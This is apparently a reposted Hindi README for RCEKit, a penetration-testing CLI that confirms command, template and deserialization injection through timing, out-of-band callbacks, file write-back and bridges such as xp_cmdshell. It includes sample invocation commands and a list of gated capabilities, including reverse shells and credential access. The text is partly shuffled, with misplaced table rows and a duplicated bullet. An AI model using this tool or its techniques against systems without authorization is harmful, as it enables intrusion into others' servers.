ब्लाइंड कमांड इंजेक्शन (कोई आउटपुट नहीं)timeएक नियंत्रित 0/N/2N डिले सीरीज़ फायर करता है और पुष्टि करता है कि रिस्पॉन्स टाइम डिले को रैखिक रूप से ट्रैक करता है; needs-review रिपोर्ट करता है — जिटर इसे फ़ेक नहीं कर सकता, लेकिन टाइमिंग कोई कंप्यूटेड वैल्यू नहीं है।
इंटरनल / नो-एग्रेस टारगेटfileएक रैंडम टोकन लिखता है और उसे किसी भी रीड-बैक पाथ से वापस फ़ेच करता है — कोई वेब रूट, कोई LFI पैरामीटर, कोई डाउनलोड या एक्सपोर्ट हैंडलर, कोई /tmp-बैक्ड प्रीव्यू। बिना किसी एक्सटर्नल लिसनर के एक्ज़ीक्यूशन प्लस एक राइट प्रिमिटिव साबित करता है।
अपलोड / राइट प्रिमिटिव — PUT-a-JSP, अनचेक्ड अपलोड (CWE-434)writeएक वन-लाइनर लिखता है जो आपकी अपनी अपलोड रिक्वेस्ट के ज़रिए एक प्रोडक्ट कंप्यूट करता है, फिर फ़ाइल फ़ेच करता है: प्रोडक्ट confirmed RCE है, वर्बेटिम वापस आने वाला सोर्स needs-review है — आर्बिट्ररी फ़ाइल राइट, सर्व की गई लेकिन इंटरप्रेट नहीं की गई।
डीसेरियलाइज़ेशन सिंक — fastjson, shiro, weblogic (CWE-502)deserसाबित करता है कि एंडपॉइंट अटैकर डेटा को डीसेरियलाइज़ करता है, किसी नॉन-एक्ज़ीक्यूटिंग DNS गैजेट या किसी एरर-शेप डिफरेंशियल के ज़रिए। deserialization-sink के रूप में रिपोर्ट किया जाता है, RCE के रूप में नहीं।

तीन चीज़ें उस दायरे को चौड़ा करती हैं जहाँ तक ये मेथड्स पहुँच सकती हैं, बिना यह बदले कि उनमें से कोई किसे confirmed कहेगा:

  • सेकंड-ऑर्डर एक्ज़ीक्यूशन (--observe-url) — जब पेलोड एक रिक्वेस्ट पर पहुँचता है और दूसरी पर चलता है: किसी प्रोफ़ाइल पेज पर रेंडर होने वाला स्टोर्ड SSTI, किसी लॉग में लिखा गया पेलोड जिसे कोई टेम्पलेट इंजन बाद में रेंडर करता है, कोई क्यूड जॉब। ऑब्ज़र्व किए गए एंडपॉइंट का डिफरेंस किसी भी प्रोब भेजे जाने से पहले लिए गए स्नैपशॉट के विरुद्ध किया जाता है।
  • क्वेरी-लैंग्वेज ब्रिज (--bridges) — COPY … FROM PROGRAM, xp_cmdshell, expect://। ब्रिज एक कैरियर है, ओरेकल नहीं: यह उस कमांड को रैप करता है जिसे मेथड्स पहले से बनाती हैं, इसलिए उसके ज़रिए वही टियर लागू होते हैं।
  • इंजेक्शन-पॉइंट एन्यूमरेशन (-p all) — क्वेरी, JSON लीव्स, फ़ॉर्म फ़ील्ड्स, मल्टीपार्ट पार्ट्स, कुकीज़, हेडर्स और पाथ सेगमेंट्स, हर एक उस जगह के लिए एनकोड किया गया जहाँ वह पहुँचता है, और कुछ भी फायर होने से पहले प्रोब कॉस्ट प्रिंट की जाती है। एक GraphQL बॉडी को उसी क्रम में रखा जाता है जो वास्तव में पुष्ट कर सकता है: वे variables जिन्हें रिज़ॉल्वर ऑपरेशन डॉक्यूमेंट से पहले पढ़ता है।

मेथड्स को स्वतंत्र रूप से मिलाएँ: --methods reflected,eval,time तीनों चलाता है और हर टियर को अलग-अलग रिपोर्ट करता है।

ईमानदार दायरा। RCEKit उस RCE की पुष्टि करता है जो किसी रिक्वेस्ट में इंजेक्ट करके पहुँच योग्य है और किसी शेल या इवैल्यूएटर द्वारा इंटरप्रेट की जाती है। यह मेमोरी-करप्शन बग्स (बफ़र ओवरफ़्लो, UAF) या नो-शेल argv ऐरे में आर्ग्युमेंट इंजेक्शन को कवर नहीं करता — वे अलग समस्याएँ हैं। डीसेरियलाइज़ेशन गैजेट चेन भी दायरे से बाहर हैं: --methods deser साबित करता है कि कोई एंडपॉइंट अटैकर डेटा को डीसेरियलाइज़ करता है और इसे अपने खुद के टियर में बताता है, लेकिन कौन सा गैजेट (अगर कोई है) उसे एक्ज़ीक्यूशन में बदलता है यह टारगेट के क्लासपाथ पर निर्भर करता है, और RCEKit जानने का दावा नहीं करता। इसका लक्ष्य हर चीज़ में औसत होने के बजाय ऊपर दिए गए इंजेक्शन-चालित RCE वर्गों में उत्कृष्ट होना है।


RCEKit की तुलना कैसे करता है

इस क्षेत्र के अन्य टूल्स आपको अंदर पहुँचाने के लिए बने हैं। RCEKit इसलिए बना है ताकि फ़ाइंडिंग किसी और की जाँच में टिक जाए — क्लाइंट का रीटेस्ट, ट्रायाज क्यू, रिपोर्ट रिव्यू। यह अंतर तीन बार दिखता है।

1. एक इंजेक्शन पॉइंट, हर वर्ग, एक रन

टेस्ट करने से पहले आप शायद ही कभी वर्ग जानते हैं। किसी अज्ञात सिंक को सिंगल-क्लास टूल्स से कवर करने का मतलब है हर एक को बारी-बारी चलाना और हर एक के लिए रिक्वेस्ट दोबारा बनाना:

पुष्ट कर सकता हैRCEKitcommixSSTImapNuclei
OS कमांड इंजेक्शन✅✅ (इसका पूरा दायरा)—प्रति टेम्पलेट
एक्सप्रेशन इंजेक्शन / SSTI✅इसकी eval-आधारित तकनीक के ज़रिए✅ (इसका पूरा दायरा)प्रति टेम्पलेट
ब्लाइंड — टाइमिंग✅ एक अलग टियर के रूप में✅✅—
ब्लाइंड — आउट-ऑफ-बैंड✅ बिल्ट-इन लिसनर——interactsh के ज़रिए
नो-एग्रेस — लिखें और वापस फ़ेच करें✅ कोई भी रीड-बैक पाथ✅ (वेब रूट)——
cmd.exe और PowerShell सिंक✅ प्रति-बोली प्रोब✅ (cmd)—प्रति टेम्पलेट
अपलोड → राइट-देन-एक्ज़ीक्यूट✅ राइट बनाम एक्ज़ीक्यूट, अलग टियर——प्रति टेम्पलेट
सेकंड-ऑर्डर — यहाँ पहुँचता है, वहाँ चलता है✅———
OS तक क्वेरी-लैंग्वेज ब्रिज✅——प्रति टेम्पलेट
डीसेरियलाइज़ेशन सिंक✅ अपना टियर, कभी RCE नहीं कहा जाता——प्रति टेम्पलेट
ऊपर का सब कुछ, एक CLI, एक रन✅———

कवरेज प्रत्येक प्रोजेक्ट की अपनी प्रलेखित तकनीक सूची के अनुसार। SSTImap, tplmap का मेंटेन किया गया उत्तराधिकारी है, जिसे इसके लेखक ने अनमेंटेन्ड चिह्नित किया है।```bash

Command injection, expression injection and blind timing against the same

parameter, in one pass, with zero infrastructure

python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time

root@kitploit:~
### 2. यह अपने ही परिणामों से बहस करता है

एक टूल जो पाया उसे रिपोर्ट करता है। RCEKit यह भी रिपोर्ट करता है कि **उसने किस पर विश्वास करने से इनकार किया** —
`inconclusive` अपने आप में एक निर्णय है, उन साक्ष्यों के लिए जो सामने आए लेकिन निष्पादन के लिए जिम्मेदार नहीं ठहराए जा सके:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11

वे दोनों किसी और की खोज होते। पाँच तंत्र उस निर्णय को उत्पन्न करते हैं, और वे हर पुष्टि पर चलते हैं:

  • एक पेलोड-रहित नियंत्रण अनुरोध। साक्ष्य पेलोड के साथ मौजूद होना चाहिए और उसके बिना अनुपस्थित होना चाहिए। दोनों में जो कुछ भी है वह inconclusive है, कोई खोज नहीं।
  • एक समान-टोकन निष्क्रिय नियंत्रण। एक दूसरा अनुरोध गैर-निष्पादन रूप में समान यादृच्छिक टोकन ले जाता है। जो लक्ष्य केवल इनपुट को प्रतिध्वनित करता है वह यहाँ विफल हो जाता है — इसी तरह एक प्रतिबिंब को निष्पादन से अलग किया जाता है।
  • यादृच्छिक ऑपरेंड, कभी निश्चित स्ट्रिंग्स नहीं। ओरेकल एक टैग-रैप्ड योग या एक सीमा-बाड़ वाला गुणनफल है जो हर रन पर नए सिरे से गणना किया जाता है। पेलोड को प्रतिध्वनित करने पर शाब्दिक $((a+b)) लौटता है; केवल निष्पादन मान लौटाता है।
  • एन्कोडिंग-जागरूक साक्ष्य खोज। एक सिंक जो अपने आउटपुट को base64-, hex-, URL-, HTML- या unicode-escape करता है, फिर भी पुष्टि करता है — कच्चे बॉडी की पहले जाँच की जाती है, इसलिए डिकोडिंग केवल एक छूटी हुई हिट को हिट में बदलती है, कभी इसका विपरीत नहीं।
  • संपूर्ण-प्रतिक्रिया साक्ष्य खोज। गणना किए गए मान को प्रतिक्रिया के हर चैनल में खोजा जाता है — बॉडी, एप्लिकेशन हेडर, कुकी मान, रीडायरेक्ट लक्ष्य, HTTP कारण वाक्यांश, और JSON त्रुटि लिफाफे की प्रत्येक लीफ — और खोज उस चैनल का नाम बताती है जिसने इसे ले जाया। नियंत्रण अंतर हर चैनल पर भी लागू किया जाता है, इसलिए RCEKit जहाँ देखता है उसे चौड़ा करने से यह नहीं बढ़ता कि वह किसे confirmed कहेगा।

वही प्रवृत्ति दूसरी दिशा में भी चलती है। टाइमिंग कभी स्व-पुष्टि नहीं करती, एक डीसेरिएलाइज़ेशन कॉलबैक को कभी RCE नहीं कहा जाता, और जिस रन ने कोई प्रोब नहीं बनाया उसे कभी नकारात्मक नहीं कहा जाता।

3. यह एक अधिकृत एंगेजमेंट के लिए बनाया गया है, किसी लैब के लिए नहीं

क्लाइंट के rules of engagement वास्तव में जिन नियंत्रणों के बारे में पूछते हैं, वे आपके नोट्स में नहीं बल्कि टूल में:

सहमति गेट--acknowledge-consent के बिना कुछ भी शोषणकारी उत्पन्न या फायर नहीं होता।
निष्पादन योजनापहला अनुरोध बाहर जाने से पहले सटीक प्रोब गणना, सिंक आकार, सुरक्षा स्तर और किसी भी आउटबाउंड कॉलबैक गंतव्य को प्रिंट करता है।
डिफ़ॉल्ट रूप से सुरक्षितरिवर्स शेल, क्रेडेंशियल एक्सेस, क्लाउड मेटाडेटा, लेटरल मूवमेंट और कंटेनर एस्केप तब तक रोके जाते हैं जब तक आप --verify-active-risk नहीं बढ़ाते; persistence और backdoors के लिए ऊपर से एक दूसरा फ्लैग चाहिए। जो ब्रिज लक्ष्य पर एक ऑब्जेक्ट बनाते हैं वे भी उसी सीमा तक सीमित हैं।
क्लीनअप कमांडfile, write और स्टेटफुल ब्रिज लक्ष्य स्थिति बदलते हैं, इसलिए हर खोज — needs-review सहित — प्रिंट करती है कि इसे पूर्ववत करने के लिए क्या चलाना है।
क्रेडेंशियल यथावत रहते हैंfile रीड-बैक फ़ेच रन के Authorization/Cookie हेडर केवल समान ओरिजिन तक ले जाता है, और जब वह उन्हें रोकता है तो यह ज़ोर से बताता है। अवलोकित-चैनल फ़ेच तब तक कोई नहीं भेजता जब तक आप उसे --observe-request के साथ कोई अनुरोध न दें।
रिडैक्टेड ऑडिट ट्रेलहर रन exploit_audit.log में दर्ज होता है, यह रिकॉर्ड करते हुए कि एक क्रेडेंशियल हेडर भेजा गया था, कभी उसका मान नहीं।
वॉटरमार्किंग--watermark प्रत्येक पेलोड में एक ट्रेस करने योग्य टोकन अंकित करता है, ताकि महीनों बाद क्लाइंट के लॉग में मिला पेलोड आपके रन के लिए जिम्मेदार ठहराया जा सके।
कोई तृतीय-पक्ष कॉलबैक नहींOOB लिसनर आपका है। कुछ भी किसी सार्वजनिक इंटरैक्शन सर्वर के माध्यम से नहीं भेजा जाता, जिसे कुछ एंगेजमेंट पूरी तरह मना करते हैं।
एक stdlib फ़ाइलrcekit.py अकेले चलती है — जंप बॉक्स, एयर-गैप्ड होस्ट, कहीं भी जहाँ pip install विकल्प न हो।

कब कुछ और उठाना चाहिए

निर्णय के बजाय शेल चाहिए? commix और SSTImap पोस्ट-एक्सप्लॉइटेशन में आगे बढ़ते हैं; RCEKit डिज़ाइन से प्रमाण पर रुक जाता है। ज्ञात CVEs के लिए हज़ारों होस्ट स्कैन करने हैं? वह Nuclei का काम है — और RCEKit Nuclei टेम्पलेट लिखता है (--output-format nuclei), इसलिए यह आपके स्कैनर को फ़ीड करता है, उससे प्रतिस्पर्धा नहीं करता। पहले से पता है कि इंजेक्शन SQL है और डेटाबेस ही चाहिए? sqlmap उस क्षेत्र का मालिक है — RCEKit के ब्रिज इस बात को साबित करने के लिए हैं कि एक टेक्स्ट पैरामीटर से OS तक पहुँचा जा सकता है, डेटाबेस का शोषण करने के लिए नहीं।


अपनी स्थिति खोजें

प्रत्येक पंक्ति फ़ील्ड गाइड में एक काम किया हुआ उदाहरण है — कमांड, यह क्या भेजता है, और जो वापस आता है उसे कैसे पढ़ें।

स्थितियहाँ जाएँ
मेरे पास एक URL और एक पैरामीटर हैPoint at a URL
मेरे पास Burp से सहेजा गया अनुरोध हैPoint at a captured request
ऐप JSON है / पेलोड बार-बार विकृत होता रहता हैLanding the payload intact
मुझे नहीं पता यह कौन सी क्लास हैChoosing methods
सिंक ; को हटा देता हैWhen the sink filters separators
मेरा इनपुट 'quotes' के अंदर पहुँचता हैInjecting inside quotes
सिंक मेरे इनपुट को पूरे कमांड के रूप में चलाता हैWhole-command sinks
लक्ष्य Windows है या सिंक PowerShell हैWindows and PowerShell sinks
एक WAF हैWorking around a WAF
कोई आउटपुट वापस नहीं आताBlind targets
कोई आउटपुट और कोई egress नहींNo-egress targets
अनुरोध कुछ चलाने के बजाय एक फ़ाइल संग्रहीत करता हैUpload and write-primitive targets
पेलोड बाद में, किसी भिन्न अनुरोध पर चलता है

दस्तावेज़ीकरण

Verify it yourselfऊपर दी गई पुष्टियों को अपनी मशीन पर, dockerised कमज़ोर लक्ष्यों के विरुद्ध पुनरुत्पादित करें। पाँच मिनट।
Field guideहर वास्तविक स्थिति का उदाहरण-चालित वॉकथ्रू, पहले प्रोब से लेकर मल्टी-स्टेप चेन तक। यहाँ से शुरू करें।
Payload generation & exportsपेलोड जनरेटर के रूप में RCEKit: लक्ष्य प्रोफ़ाइल, और Burp / ffuf / Nuclei एक्सपोर्ट।
Referenceहर फ्लैग, एनवायरनमेंट, श्रेणी, कॉन्टेक्स्ट, एन्कोडिंग और कोड-एक्ज़ीक्यूशन सिंक।
CHANGELOG.mdप्रत्येक रिलीज़ में क्या बदला, और अपग्रेड करते समय क्या दोबारा जाँचना है।
CONTRIBUTING.mdसिंक, श्रेणियाँ, एन्कोडिंग और डिटेक्शन विधियाँ कैसे जोड़ें।
SECURITY.mdRCEKit में ही किसी कमज़ोरी की रिपोर्ट करना।

सुरक्षा और नैतिकता

RCEKit शोषण करता है, और यही बात है। एक कमज़ोरी की पुष्टि लक्ष्य से वह काम करवाकर की जाती है, क्योंकि यही एकमात्र साक्ष्य है जिसे कोई सिग्नेचर नकली नहीं बना सकता और कोई पैच किया हुआ बिल्ड संयोगवश उत्पन्न नहीं कर सकता। एक रन को जो सीमित करता है वह शोषण करने की अनिच्छा नहीं है। यह दो संरचनात्मक तथ्य और एक स्विच है।

यह आपसे कोई मनमाना पेलोड नहीं लेता। प्रोब इंजन द्वारा एक ओरेकल की सेवा के लिए बनाए जाते हैं — उस प्रोब के लिए यादृच्छिक ऑपरेंड पर अंकगणित, एक नाम जिसे केवल यह रन ही चुन सकता था। ऐसा कोई इनपुट नहीं है जो डिटेक्शन को कुछ और बना दे, क्योंकि देने के लिए ऐसा कोई इनपुट ही नहीं है।

मान की गणना से आगे बढ़ने वाली कोई भी चीज़ अपने आवश्यक स्तर की घोषणा करती है, इसलिए एक फ्लैग तय करता है कि एक रन कितनी दूर जाएगा: --verify-active-risk safe | intrusive | stateful। उस स्तर से ऊपर की कोई विधि या एकल प्रोब आकार नाम से रोका जाता है, उस फ्लैग के साथ जो इसे भेजेगा — एक सीढ़ी जो चुपचाप सिकुड़ती है, उस लक्ष्य से अप्रभेद्य है जिसमें खोजने के लिए कुछ नहीं है। एक डिस्पोज़ेबल इंस्टेंस के विरुद्ध, स्तर बढ़ाएँ और टूल का सब कुछ पाएँ।

  • सहमति गेट — शोषण निर्माण और सत्यापन के लिए --acknowledge-consent आवश्यक है; --detection-only सौम्य है और इसकी आवश्यकता नहीं।
  • डिफ़ॉल्ट रूप से सुरक्षित — सत्यापन केवल कम-प्रभाव वाले प्रमाण फायर करता है; रिवर्स शेल, download-execute, क्रेडेंशियल एक्सेस, लेटरल मूवमेंट, कंटेनर एस्केप, क्लाउड-मेटाडेटा और OOB पेलोड तब तक रोके जाते हैं जब तक आप --verify-active-risk नहीं बढ़ाते। विनाशकारी पेलोड (persistence, backdoors) --verify-allow-destructive के बिना कभी फायर नहीं होते। एक निष्पादन योजना कुछ भी फायर होने से पहले ठीक-ठीक प्रिंट करती है कि क्या भेजा जाएगा।
  • सुरक्षा स्तर — safe / intrusive / stateful। कॉर्पस पेलोड को --max-safety द्वारा फ़िल्टर किया जाता है; डिटेक्शन विधियाँ और उनके प्रोब आकार समान सीढ़ियों की घोषणा करते हैं और --verify-active-risk द्वारा फ़िल्टर किए जाते हैं, इसलिए एक विधि जो लक्ष्य को बाहर तक पहुँचाती है या पीछे कुछ छोड़ती है, उसे हर कॉर्पस पेलोड के समान क्रम में रखा जाता है। प्री-फ़्लाइट उस स्तर का नाम बताती है जो प्रत्येक रोकी गई वस्तु को वास्तव में चाहिए। file और write इसके बजाय अपने स्वयं के कॉन्फ़िगरेशन द्वारा नियंत्रित होते हैं: जब तक आप लिखने के लिए एक डायरेक्टरी और उसे वापस पढ़ने के लिए एक URL का नाम नहीं देते, तब तक कोई भी कुछ नहीं करता।
  • ऑडिट और लॉगिंग — हर शोषण/सत्यापन रन exploit_audit.log में दर्ज होता है; --watermark एक ट्रेस करने योग्य टोकन एम्बेड करता है; निष्पादन लॉग rcekit.log में जाते हैं।
  • कॉर्पस अखंडता — एक भ्रष्ट कॉर्पस, या एक स्पष्ट --template-file जो अनुपस्थित है, RCEKit को चलने से इनकार करने और गैर-शून्य के साथ बाहर निकलने पर मजबूर करता है बजाय चुपचाप कुछ भी उत्पन्न न करने के (--doctor इसे जाँचता है)। केवल एक अनुपस्थित डिफ़ॉल्ट कॉर्पस फ़ाइल बिल्ट-इन कॉपी पर वापस जाती है, और ऐसा करते समय यह बताती है।
  • कॉर्पस अखंडता — एक भ्रष्ट कॉर्पस, या एक स्पष्ट --template-file जो अनुपस्थित है, RCEKit को चलने से इनकार करने और गैर-शून्य के साथ बाहर निकलने पर मजबूर करता है बजाय चुपचाप कुछ भी उत्पन्न न करने के (--doctor इसे जाँचता है)। केवल एक अनुपस्थित डिफ़ॉल्ट कॉर्पस फ़ाइल बिल्ट-इन कॉपी पर वापस जाती है, और ऐसा करते समय यह बताती है।

यह टूलकिट केवल अधिकृत पेनिट्रेशन टेस्टिंग, सुरक्षा अनुसंधान, शिक्षा, और रक्षात्मक प्रशिक्षण के लिए है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका कभी उपयोग न करें — अनधिकृत परीक्षण अवैध है।

विकास```bash

python -m unittest discover -s tests # dependency-free test suite

root@kitploit:~
योगदान का स्वागत है — नए sinks/categories, encodings, environments, detection
methods, bug fixes, और docs। Payload bases संपादन योग्य JSON templates
(`templates/payloads.json`) में रहते हैं, इसलिए अधिकांश coverage Python
source को छुए बिना बढ़ाई जा सकती है। Corpus बदलने के बाद, `rcekit.py` के अंदर
शिप होने वाली built-in copy को refresh करें:```bash
python tools/embed_corpus.py    # --check verifies it is current

यदि दोनों कभी भी अलग हो जाएँ तो टेस्ट सूट विफल हो जाता है। देखें CONTRIBUTING.md।

लाइसेंस

MIT — देखें LICENSE।

टूल डाउनलोड करें
कभी
ब्लाइंड / आउट-ऑफ-बैंड — exfil, asyncoobबिल्ट-इन HTTP/DNS लिसनर कॉलबैक प्राप्त करता है और हर एक को सटीक पेलोड से कोरिलेट करता है; हर प्रोब अपना खुद का टोकन लेकर चलता है।
एक्सप्रेशन-लुकअप सिंक — Log4Shell/JNDIlookupसिंक कमांड चलाने के बजाय एक ${jndi:…} URI को रिज़ॉल्व करता है, इसलिए oob के शेल प्रोब कुछ नहीं पाते। इसे केवल कॉलबैक पर साबित करता है और lookup-sink रिपोर्ट करता है, कभी confirmed नहीं। केवल jndi:dns:// भेजा जाता है — एक नेम लुकअप और कुछ नहीं — इसलिए जो साबित होता है वह लुकअप है, कोई गैजेट चेन नहीं।
When execution happens on another request
इंजेक्शन बिंदु SQL है और सिंक डेटाबेस होस्ट हैQuery-language bridges
एंडपॉइंट एक सीरियलाइज़्ड ऑब्जेक्ट लेता हैDeserialization sinks
सिंक किसी लॉगिन या फ़ाइल अपलोड के पीछे हैMulti-step chains
मुझे needs-review / inconclusive / error मिलाReading the results
यह कहता है कि कॉर्पस अनुपयोगी हैTroubleshooting